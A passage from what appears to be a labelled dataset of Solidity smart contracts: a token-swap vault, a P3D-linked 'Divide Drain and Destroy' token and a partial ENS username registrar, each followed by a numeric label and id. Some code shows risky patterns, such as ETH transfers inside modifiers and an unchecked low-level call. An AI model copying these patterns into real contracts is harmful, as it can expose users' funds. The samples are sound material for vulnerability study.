return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface ISwaps {
function createOrder(
bytes32 _id,
address _baseAddress,
address _quoteAddress,
uint _baseLimit,
uint _quoteLimit,
uint _expirationTimestamp,
address _baseOnlyInvestor,
uint _minBaseInvestment,
uint _minQuoteInvestment
) external;
function deposit(
bytes32 _id,
address _token,
uint _amount
) payable external;
function cancel(bytes32 _id) external;
function refund(bytes32 _id, address _token) external;
}
contract Vault is Ownable {
address public swaps;
modifier onlySwaps() {
require(msg.sender == swaps);
_;
}
function () external payable {
}
function tokenFallback(address, uint, bytes calldata) external {
}
function setSwaps(address _swaps) public onlyOwner {
swaps = _swaps;
}
function withdraw(address _token, address _receiver, uint _amount) public onlySwaps {
if (_token == address(0)) {
address(uint160(_receiver)).transfer(_amount);
} else {
IERC20(_token).transfer(_receiver, _amount);
}
}
}
contract Swaps is Ownable, ISwaps, ReentrancyGuard {
using SafeMath for uint;
uint public MAX_INVESTORS = 10;
Vault public vault;
mapping (bytes32 => address) public baseOnlyInvestor;
mapping (bytes32 => address) public owners;
mapping (bytes32 => address) public baseAddresses;
mapping (bytes32 => address) public quoteAddresses;
mapping (bytes32 => uint) public expirationTimestamps;
mapping (bytes32 => bool) public isSwapped;
mapping (bytes32 => bool) public isCancelled;
mapping (bytes32 => mapping (address => uint)) public limits;
mapping (bytes32 => mapping (address => uint)) public raised;
mapping (bytes32 => mapping (address => address[])) public investors;
mapping (bytes32 => mapping (address => mapping (address => uint))) public investments;
mapping (bytes32 => mapping (address => uint)) public minInvestments;
modifier onlyInvestor(bytes32 _id, address _token) {
require(_isInvestor(_id, _token, msg.sender), "Allowed only for investors");
_;
}
modifier onlyWhenVaultDefined() {
require(address(vault) != address(0), "Vault is not defined");
_;
}
modifier onlyOrderOwner(bytes32 _id) {
require(msg.sender == owners[_id], "Allowed only for owner");
_;
}
modifier onlyWhenOrderExists(bytes32 _id) {
require(owners[_id] != address(0), "Order doesn't exist");
_;
}
event OrderCreated(
bytes32 id,
address owner,
address baseAddress,
address quoteAddress,
uint baseLimit,
uint quoteLimit,
uint expirationTimestamp,
address baseOnlyInvestor,
uint minBaseInvestment,
uint minQuoteInvestment
);
event OrderCancelled(bytes32 id);
event Deposit(
bytes32 id,
address token,
address user,
uint amount,
uint balance
);
event Refund(
bytes32 id,
address token,
address user,
uint amount
);
event OrderSwapped(
bytes32 id,
address byUser
);
event SwapSend(
bytes32 id,
address token,
address user,
uint amount
);
function tokenFallback(address, uint, bytes calldata) external {
}
function createOrder(
bytes32 _id,
address _baseAddress,
address _quoteAddress,
uint _baseLimit,
uint _quoteLimit,
uint _expirationTimestamp,
address _baseOnlyInvestor,
uint _minBaseInvestment,
uint _minQuoteInvestment
)
external
nonReentrant
onlyWhenVaultDefined
{
require(owners[_id] == address(0), "Order already exists");
require(_baseAddress != _quoteAddress, "Exchanged tokens must be different");
require(_baseLimit > 0, "Base limit must be positive");
require(_quoteLimit > 0, "Quote limit must be positive");
require(_expirationTimestamp > now, "Expiration time must be in future");
owners[_id] = msg.sender;
baseAddresses[_id] = _baseAddress;
quoteAddresses[_id] = _quoteAddress;
expirationTimestamps[_id] = _expirationTimestamp;
limits[_id][_baseAddress] = _baseLimit;
limits[_id][_quoteAddress] = _quoteLimit;
baseOnlyInvestor[_id] = _baseOnlyInvestor;
minInvestments[_id][_baseAddress] = _minBaseInvestment;
minInvestments[_id][_quoteAddress] = _minQuoteInvestment;
emit OrderCreated(
_id,
msg.sender,
_baseAddress,
_quoteAddress,
_baseLimit,
_quoteLimit,
_expirationTimestamp,
_baseOnlyInvestor,
_minBaseInvestment,
_minQuoteInvestment
);
}
function deposit(
bytes32 _id,
address _token,
uint _amount
)
payable
external
nonReentrant
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
if (_token == address(0)) {
require(msg.value == _amount, "Payable value should be equals value");
address(vault).transfer(msg.value);
} else {
require(msg.value == 0, "Payable not allowed here");
uint allowance = IERC20(_token).allowance(msg.sender, address(this));
require(_amount <= allowance, "Allowance should be not less than amount");
IERC20(_token).transferFrom(msg.sender, address(vault), _amount);
}
_deposit(_id, _token, msg.sender, _amount);
}
function cancel(bytes32 _id)
external
nonReentrant
onlyOrderOwner(_id)
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
require(!isCancelled[_id], "Already cancelled");
require(!isSwapped[_id], "Already swapped");
address[2] memory tokens = [baseAddresses[_id], quoteAddresses[_id]];
for (uint t = 0; t < tokens.length; t++) {
address token = tokens[t];
for (uint u = 0; u < investors[_id][token].length; u++) {
address user = investors[_id][token][u];
uint userInvestment = investments[_id][token][user];
vault.withdraw(token, user, userInvestment);
}
}
isCancelled[_id] = true;
emit OrderCancelled(_id);
}
function refund(bytes32 _id, address _token)
external
nonReentrant
onlyInvestor(_id, _token)
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
require(!isSwapped[_id], "Already swapped");
address user = msg.sender;
uint investment = investments[_id][_token][user];
if (investment > 0) {
delete investments[_id][_token][user];
}
_removeInvestor(investors[_id][_token], user);
if (investment > 0) {
raised[_id][_token] = raised[_id][_token].sub(investment);
vault.withdraw(_token, user, investment);
}
emit Refund(_id, _token, user, investment);
}
function setVault(Vault _vault) external onlyOwner {
vault = _vault;
}
function createKey(address _owner)
public
view
returns (bytes32 result)
{
uint creationTime = now;
result = 0x0000000000000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_owner, 0x1000000000000000000000000))
result := or(result, and(creationTime, 0xffffffffffffffffffffffff))
}
}
function baseLimit(bytes32 _id)
public
view
returns (uint)
{
return limits[_id][baseAddresses[_id]];
}
function quoteLimit(bytes32 _id)
public
view
returns (uint)
{
return limits[_id][quoteAddresses[_id]];
}
function baseRaised(bytes32 _id)
public
view
returns (uint)
{
return raised[_id][baseAddresses[_id]];
}
function quoteRaised(bytes32 _id)
public
view
returns (uint)
{
return raised[_id][quoteAddresses[_id]];
}
function isBaseFilled(bytes32 _id)
public
view
returns (bool)
{
return raised[_id][baseAddresses[_id]] == limits[_id][baseAddresses[_id]];
}
function isQuoteFilled(bytes32 _id)
public
view
returns (bool)
{
return raised[_id][quoteAddresses[_id]] == limits[_id][quoteAddresses[_id]];
}
function baseInvestors(bytes32 _id)
public
view
returns (address[] memory)
{
return investors[_id][baseAddresses[_id]];
}
function quoteInvestors(bytes32 _id)
public
view
returns (address[] memory)
{
return investors[_id][quoteAddresses[_id]];
}
function baseUserInvestment(bytes32 _id, address _user)
public
view
returns (uint)
{
return investments[_id][baseAddresses[_id]][_user];
}
function quoteUserInvestment(bytes32 _id, address _user)
public
view
returns (uint)
{
return investments[_id][quoteAddresses[_id]][_user];
}
function _swap(bytes32 _id) internal {
require(!isSwapped[_id], "Already swapped");
require(!isCancelled[_id], "Already cancelled");
require(isBaseFilled(_id), "Base tokens not filled");
require(isQuoteFilled(_id), "Quote tokens not filled");
require(now <= expirationTimestamps[_id], "Contract expired");
_distribute(_id, baseAddresses[_id], quoteAddresses[_id]);
_distribute(_id, quoteAddresses[_id], baseAddresses[_id]);
isSwapped[_id] = true;
emit OrderSwapped(_id, msg.sender);
}
function _distribute(bytes32 _id, address _aSide, address _bSide) internal {
uint remainder = raised[_id][_bSide];
for (uint i = 0; i < investors[_id][_aSide].length; i++) {
address user = investors[_id][_aSide][i];
uint toPay;
if (i + 1 == investors[_id][_aSide].length) {
toPay = remainder;
} else {
uint aSideRaised = raised[_id][_aSide];
uint userInvestment = investments[_id][_aSide][user];
uint bSideRaised = raised[_id][_bSide];
toPay = userInvestment.mul(bSideRaised).div(aSideRaised);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, user, toPay);
emit SwapSend(_id, _bSide, user, toPay);
}
}
function _removeInvestor(address[] storage _array, address _investor) internal {
uint idx = _array.length - 1;
for (uint i = 0; i < _array.length - 1; i++) {
if (_array[i] == _investor) {
idx = i;
break;
}
}
_array[idx] = _array[_array.length - 1];
delete _array[_array.length - 1];
_array.length--;
}
function _deposit(
bytes32 _id,
address _token,
address _from,
uint _amount
) internal {
uint amount = _amount;
require(baseAddresses[_id] == _token || quoteAddresses[_id] == _token, "You can deposit only base or quote currency");
require(raised[_id][_token] < limits[_id][_token], "Limit already reached");
require(now <= expirationTimestamps[_id], "Contract expired");
if (baseAddresses[_id] == _token && baseOnlyInvestor[_id] != address(0)) {
require(msg.sender == baseOnlyInvestor[_id], "Allowed only for specified address");
}
if (limits[_id][_token].sub(raised[_id][_token]) > minInvestments[_id][_token]) {
require(_amount >= minInvestments[_id][_token], "Should not be less than minimum value");
}
if (!_isInvestor(_id, _token, _from)) {
require(investors[_id][_token].length < MAX_INVESTORS, "Too many investors");
investors[_id][_token].push(_from);
}
uint raisedWithOverflow = raised[_id][_token].add(amount);
if (raisedWithOverflow > limits[_id][_token]) {
uint overflow = raisedWithOverflow.sub(limits[_id][_token]);
vault.withdraw(_token, _from, overflow);
amount = amount.sub(overflow);
}
investments[_id][_token][_from] = investments[_id][_token][_from].add(amount);
raised[_id][_token] = raised[_id][_token].add(amount);
emit Deposit(
_id,
_token,
_from,
amount,
investments[_id][_token][_from]
);
if (isBaseFilled(_id) && isQuoteFilled(_id)) {
_swap(_id);
}
}
function _isInvestor(
bytes32 _id,
address _token,
address _who
)
internal
view
returns (bool)
{
return investments[_id][_token][_who] > 0;
}
} | 1 | 2,654 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface HourglassInterface {
function() payable external;
function buy(address _playerAddress) payable external returns(uint256);
function sell(uint256 _amountOfTokens) external;
function reinvest() external;
function withdraw() external;
function exit() external;
function dividendsOf(address _playerAddress) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function stakingRequirement() external view returns(uint256);
}
interface SPASMInterface {
function() payable external;
function disburse() external payable;
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract DivideDrainDestroy is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "DDD";
name = "Divide Drain and Destroy";
decimals = 0;
_totalSupply = 1;
balances[owner] = _totalSupply;
emit Transfer(address(0),owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) updateAccount(to) updateAccount(msg.sender) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens)updateAccount(to) updateAccount(from) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
SPASMInterface constant SPASM_ = SPASMInterface(0xfaAe60F2CE6491886C9f7C9356bd92F688cA66a1);
function harvestabledivs()
view
public
returns(uint256)
{
return ( P3Dcontract_.dividendsOf(address(this))) ;
}
function amountofp3d() external view returns(uint256){
return ( P3Dcontract_.balanceOf(address(this))) ;
}
uint256 public pointMultiplier = 10e18;
struct Account {
uint balance;
uint lastDividendPoints;
}
mapping(address=>Account) accounts;
mapping(address => uint256) public ETHtoP3Dbymasternode;
mapping(address => string) public Vanity;
uint public ethtotalSupply;
uint public totalDividendPoints;
uint public unclaimedDividends;
function dividendsOwing(address account) public view returns(uint256) {
uint256 newDividendPoints = totalDividendPoints.sub(accounts[account].lastDividendPoints);
return (balances[account] * newDividendPoints) / pointMultiplier;
}
modifier updateAccount(address account) {
uint256 owing = dividendsOwing(account);
if(owing > 0) {
unclaimedDividends = unclaimedDividends.sub(owing);
account.transfer(owing);
}
accounts[account].lastDividendPoints = totalDividendPoints;
_;
}
function () external payable{}
function fetchdivs(address toupdate) public updateAccount(toupdate){}
function disburse(address masternode) public payable {
uint256 amount = msg.value;
uint256 base = amount.div(100);
uint256 amt2 = amount.sub(base);
totalDividendPoints = totalDividendPoints.add(amt2.mul(pointMultiplier).div(_totalSupply));
unclaimedDividends = unclaimedDividends.add(amt2);
ETHtoP3Dbymasternode[masternode] = ETHtoP3Dbymasternode[masternode].add(base);
}
function Divide(address masternode) public payable{
uint256 amount = msg.value.mul(3);
address sender = msg.sender;
uint256 sup = _totalSupply;
require(amount >= 1);
sup = sup.add(amount);
disburse(masternode);
fetchdivs(msg.sender);
balances[msg.sender] = balances[sender].add(amount);
emit Transfer(0,sender, amount);
_totalSupply = sup;
}
function Drain(address drainfrom, address masternode) public payable{
uint256 amount = msg.value.mul(2);
address sender = msg.sender;
uint256 sup = _totalSupply;
require(amount >= 1);
require(amount <= balances[drainfrom]);
disburse(masternode);
fetchdivs(msg.sender);
fetchdivs(drainfrom);
balances[msg.sender] = balances[sender].add(amount);
balances[drainfrom] = balances[drainfrom].sub(amount);
emit Transfer(drainfrom,sender, amount);
_totalSupply = sup.add(amount);
}
function Destroy(address destroyfrom, address masternode) public payable{
uint256 amount = msg.value.mul(5);
uint256 sup = _totalSupply;
require(amount >= 1);
require(amount <= balances[destroyfrom]);
disburse(masternode);
fetchdivs(msg.sender);
fetchdivs(destroyfrom);
balances[destroyfrom] = balances[destroyfrom].sub(amount);
emit Transfer(destroyfrom,0x0, amount);
_totalSupply = sup.sub(amount);
}
function Expand(address masternode) public {
uint256 amt = ETHtoP3Dbymasternode[masternode];
ETHtoP3Dbymasternode[masternode] = 0;
if(masternode == 0x0){masternode = 0x989eB9629225B8C06997eF0577CC08535fD789F9;}
P3Dcontract_.buy.value(amt)(masternode);
}
function changevanity(string van , address masternode) public payable{
require(msg.value >= 100 finney);
Vanity[msg.sender] = van;
ETHtoP3Dbymasternode[masternode] = ETHtoP3Dbymasternode[masternode].add(msg.value);
}
function P3DDivstocontract() public payable{
uint256 divs = harvestabledivs();
require(divs > 0);
P3Dcontract_.withdraw();
uint256 base = divs.div(100);
uint256 amt2 = divs.sub(base);
SPASM_.disburse.value(base)();
totalDividendPoints = totalDividendPoints.add(amt2.mul(pointMultiplier).div(_totalSupply));
unclaimedDividends = unclaimedDividends.add(amt2);
}
} | 1 | 4,478 |
pragma solidity ^0.4.24;
library MerkleProof {
function verifyProof(
bytes32[] _proof,
bytes32 _root,
bytes32 _leaf
)
internal
pure
returns (bool)
{
bytes32 computedHash = _leaf;
for (uint256 i = 0; i < _proof.length; i++) {
bytes32 proofElement = _proof[i];
if (computedHash < proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == _root;
}
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
constructor() internal {
controller = msg.sender;
}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
interface ERC20Token {
function transfer(address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256 supply);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
interface ENS {
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public;
function setResolver(bytes32 node, address resolver) public;
function setOwner(bytes32 node, address owner) public;
function setTTL(bytes32 node, uint64 ttl) public;
function owner(bytes32 node) public view returns (address);
function resolver(bytes32 node) public view returns (address);
function ttl(bytes32 node) public view returns (uint64);
}
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
bytes4 constant MULTIHASH_INTERFACE_ID = 0xe89401a1;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
event MultihashChanged(bytes32 indexed node, bytes hash);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
bytes multihash;
}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
require(ens.owner(node) == msg.sender);
_;
}
constructor(ENS ensAddr) public {
ens = ensAddr;
}
function setAddr(bytes32 node, address addr) public only_owner(node) {
records[node].addr = addr;
emit AddrChanged(node, addr);
}
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
records[node].content = hash;
emit ContentChanged(node, hash);
}
function setMultihash(bytes32 node, bytes hash) public only_owner(node) {
records[node].multihash = hash;
emit MultihashChanged(node, hash);
}
function setName(bytes32 node, string name) public only_owner(node) {
records[node].name = name;
emit NameChanged(node, name);
}
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
require(((contentType - 1) & contentType) == 0);
records[node].abis[contentType] = data;
emit ABIChanged(node, contentType);
}
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
records[node].pubkey = PublicKey(x, y);
emit PubkeyChanged(node, x, y);
}
function setText(bytes32 node, string key, string value) public only_owner(node) {
records[node].text[key] = value;
emit TextChanged(node, key, key);
}
function text(bytes32 node, string key) public view returns (string) {
return records[node].text[key];
}
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
return (records[node].pubkey.x, records[node].pubkey.y);
}
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
Record storage record = records[node];
for (contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) {
data = record.abis[contentType];
return;
}
}
contentType = 0;
}
function name(bytes32 node) public view returns (string) {
return records[node].name;
}
function content(bytes32 node) public view returns (bytes32) {
return records[node].content;
}
function multihash(bytes32 node) public view returns (bytes) {
return records[node].multihash;
}
function addr(bytes32 node) public view returns (address) {
return records[node].addr;
}
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
return interfaceID == ADDR_INTERFACE_ID ||
interfaceID == CONTENT_INTERFACE_ID ||
interfaceID == NAME_INTERFACE_ID ||
interfaceID == ABI_INTERFACE_ID ||
interfaceID == PUBKEY_INTERFACE_ID ||
interfaceID == TEXT_INTERFACE_ID ||
interfaceID == MULTIHASH_INTERFACE_ID ||
interfaceID == INTERFACE_META_ID;
}
}
contract UsernameRegistrar is Controlled, ApproveAndCallFallBack {
ERC20Token public token;
ENS public ensRegistry;
PublicResolver public resolver;
address public parentRegistry;
uint256 public constant releaseDelay = 365 days;
mapping (bytes32 => Account) public accounts;
mapping (bytes32 => SlashReserve) reservedSlashers;
uint256 public usernameMinLength;
bytes32 public reservedUsernamesMerkleRoot;
event RegistryState(RegistrarState state);
event RegistryPrice(uint256 price);
event RegistryMoved(address newRegistry);
event UsernameOwner(bytes32 indexed nameHash, address owner);
enum RegistrarState { Inactive, Active, Moved }
bytes32 public ensNode;
uint256 public price;
RegistrarState public state;
uint256 public reserveAmount;
struct Account {
uint256 balance;
uint256 creationTime;
address owner;
}
struct SlashReserve {
address reserver;
uint256 blockNumber;
}
modifier onlyParentRegistry {
require(msg.sender == parentRegistry, "Migration only.");
_;
}
constructor(
ERC20Token _token,
ENS _ensRegistry,
PublicResolver _resolver,
bytes32 _ensNode,
uint256 _usernameMinLength,
bytes32 _reservedUsernamesMerkleRoot,
address _parentRegistry
)
public
{
require(address(_token) != address(0), "No ERC20Token address defined.");
require(address(_ensRegistry) != address(0), "No ENS address defined.");
require(address(_resolver) != address(0), "No Resolver address defined.");
require(_ensNode != bytes32(0), "No ENS node defined.");
token = _token;
ensRegistry = _ensRegistry;
resolver = _resolver;
ensNode = _ensNode;
usernameMinLength = _usernameMinLength;
reservedUsernamesMerkleRoot = _reservedUsernamesMerkleRoot;
parentRegistry = _parentRegistry;
setState(RegistrarState.Inactive);
}
function register(
bytes32 _label,
address _account,
bytes32 _pubkeyA,
bytes32 _pubkeyB
)
external
returns(bytes32 namehash)
{
return registerUser(msg.sender, _label, _account, _pubkeyA, _pubkeyB);
}
function release(
bytes32 _label
)
external
{
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
Account memory account = accounts[_label];
require(account.creationTime > 0, "Username not registered.");
if (state == RegistrarState.Active) {
require(msg.sender == ensRegistry.owner(namehash), "Not owner of ENS node.");
require(block.timestamp > account.creationTime + releaseDelay, "Release period not reached.");
} else {
require(msg.sender == account.owner, "Not the former account owner.");
}
delete accounts[_label];
if (account.balance > 0) {
reserveAmount -= account.balance;
require(token.transfer(msg.sender, account.balance), "Transfer failed");
}
if (state == RegistrarState.Active) {
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
} else {
address newOwner = ensRegistry.owner(ensNode);
!newOwner.call.gas(80000)(
abi.encodeWithSignature(
"dropUsername(bytes32)",
_label
)
);
}
emit UsernameOwner(namehash, address(0));
}
function updateAccountOwner(
bytes32 _label
)
external
{
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
require(msg.sender == ensRegistry.owner(namehash), "Caller not owner of ENS node.");
require(accounts[_label].creationTime > 0, "Username not registered.");
require(ensRegistry.owner(ensNode) == address(this), "Registry not owner of registry.");
accounts[_label].owner = msg.sender;
emit UsernameOwner(namehash, msg.sender);
}
function reserveSlash(bytes32 _secret) external {
require(reservedSlashers[_secret].blockNumber == 0, "Already Reserved");
reservedSlashers[_secret] = SlashReserve(msg.sender, block.number);
}
function slashSmallUsername(
string _username,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length < usernameMinLength, "Not a small username.");
slashUsername(username, _reserveSecret);
}
function slashAddressLikeUsername(
string _username,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length > 12, "Too small to look like an address.");
require(username[0] == byte("0"), "First character need to be 0");
require(username[1] == byte("x"), "Second character need to be x");
for(uint i = 2; i < 7; i++){
byte b = username[i];
require((b >= 48 && b <= 57) || (b >= 97 && b <= 102), "Does not look like an address");
}
slashUsername(username, _reserveSecret);
}
function slashReservedUsername(
string _username,
bytes32[] _proof,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(
MerkleProof.verifyProof(
_proof,
reservedUsernamesMerkleRoot,
keccak256(username)
),
"Invalid Proof."
);
slashUsername(username, _reserveSecret);
}
function slashInvalidUsername(
string _username,
uint256 _offendingPos,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length > _offendingPos, "Invalid position.");
byte b = username[_offendingPos];
require(!((b >= 48 && b <= 57) || (b >= 97 && b <= 122)), "Not invalid character.");
slashUsername(username, _reserveSecret);
}
function eraseNode(
bytes32[] _labels
)
external
{
uint len = _labels.length;
require(len != 0, "Nothing to erase");
bytes32 label = _labels[len - 1];
bytes32 subnode = keccak256(abi.encodePacked(ensNode, label));
require(ensRegistry.owner(subnode) == address(0), "First slash/release top level subdomain");
ensRegistry.setSubnodeOwner(ensNode, label, address(this));
if(len > 1) {
eraseNodeHierarchy(len - 2, _labels, subnode);
}
ensRegistry.setResolver(subnode, 0);
ensRegistry.setOwner(subnode, 0);
}
function moveAccount(
bytes32 _label,
UsernameRegistrar _newRegistry
)
external
{
require(state == RegistrarState.Moved, "Wrong contract state");
require(msg.sender == accounts[_label].owner, "Callable only by account owner.");
require(ensRegistry.owner(ensNode) == address(_newRegistry), "Wrong update");
Account memory account = accounts[_label];
delete accounts[_label];
token.approve(_newRegistry, account.balance);
_newRegistry.migrateUsername(
_label,
account.balance,
account.creationTime,
account.owner
);
}
function activate(
uint256 _price
)
external
onlyController
{
require(state == RegistrarState.Inactive, "Registry state is not Inactive");
require(ensRegistry.owner(ensNode) == address(this), "Registry does not own registry");
price = _price;
setState(RegistrarState.Active);
emit RegistryPrice(_price);
}
function setResolver(
address _resolver
)
external
onlyController
{
resolver = PublicResolver(_resolver);
}
function updateRegistryPrice(
uint256 _price
)
external
onlyController
{
require(state == RegistrarState.Active, "Registry not owned");
price = _price;
emit RegistryPrice(_price);
}
function moveRegistry(
UsernameRegistrar _newRegistry
)
external
onlyController
{
require(_newRegistry != this, "Cannot move to self.");
require(ensRegistry.owner(ensNode) == address(this), "Registry not owned anymore.");
setState(RegistrarState.Moved);
ensRegistry.setOwner(ensNode, _newRegistry);
_newRegistry.migrateRegistry(price);
emit RegistryMoved(_newRegistry);
}
function dropUsername(
bytes32 _label
)
external
onlyParentRegistry
{
require(accounts[_label].creationTime == 0, "Already migrated");
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
}
function withdrawExcessBalance(
address _token,
address _beneficiary
)
external
onlyController
{
require(_beneficiary != address(0), "Cannot burn token");
if (_token == address(0)) {
_beneficiary.transfer(address(this).balance);
} else {
ERC20Token excessToken = ERC20Token(_token);
uint256 amount = excessToken.balanceOf(address(this));
if(_token == address(token)){
require(amount > reserveAmount, "Is not excess");
amount -= reserveAmount;
} else {
require(amount > 0, "No balance");
}
excessToken.transfer(_beneficiary, amount);
}
}
function withdrawWrongNode(
bytes32 _domainHash,
address _beneficiary
)
external
onlyController
{
require(_beneficiary != address(0), "Cannot burn node");
require(_domainHash != ensNode, "Cannot withdraw main node");
require(ensRegistry.owner(_domainHash) == address(this), "Not owner of this node");
ensRegistry.setOwner(_domainHash, _beneficiary);
}
function getPrice()
external
view
returns(uint256 registryPrice)
{
return price;
}
function getAccountBalance(bytes32 _label)
external
view
returns(uint256 accountBalance)
{
accountBalance = accounts[_label].balance;
}
function getAccountOwner(bytes32 _label)
external
view
returns(address owner)
{
owner = accounts[_label].owner;
}
function getCreationTime(bytes32 _label)
external
view
returns(uint256 creationTime)
{
creationTime = accounts[_label].creationTime;
}
function getExpirationTime(bytes32 _label)
external
view
returns(uint256 releaseTime)
{
uint256 creationTime = accounts[_label].creationTime;
if (creationTime > 0){
releaseTime = creationTime + releaseDelay;
}
}
function getSlashRewardPart(bytes32 _label)
external
view
returns(uint256 partReward)
{
uint256 balance = accounts[_label].balance;
if (balance > 0) {
partReward = balance / 3;
}
}
function receiveApproval(
address _from,
uint256 _amount,
address _token,
bytes _data
)
public
{
require(_amount == price, "Wrong value");
require(_token == address(token), "Wrong token");
require(_token == address(msg.sender), "Wrong call");
require(_data.length <= 132, "Wrong data length");
bytes4 sig;
bytes32 label;
address account;
bytes32 pubkeyA;
bytes32 pubkeyB;
(sig, label, account, pubkeyA, pubkeyB) = abiDecodeRegister(_data);
require(
sig == bytes4(0xb82fedbb),
"Wrong method selector"
);
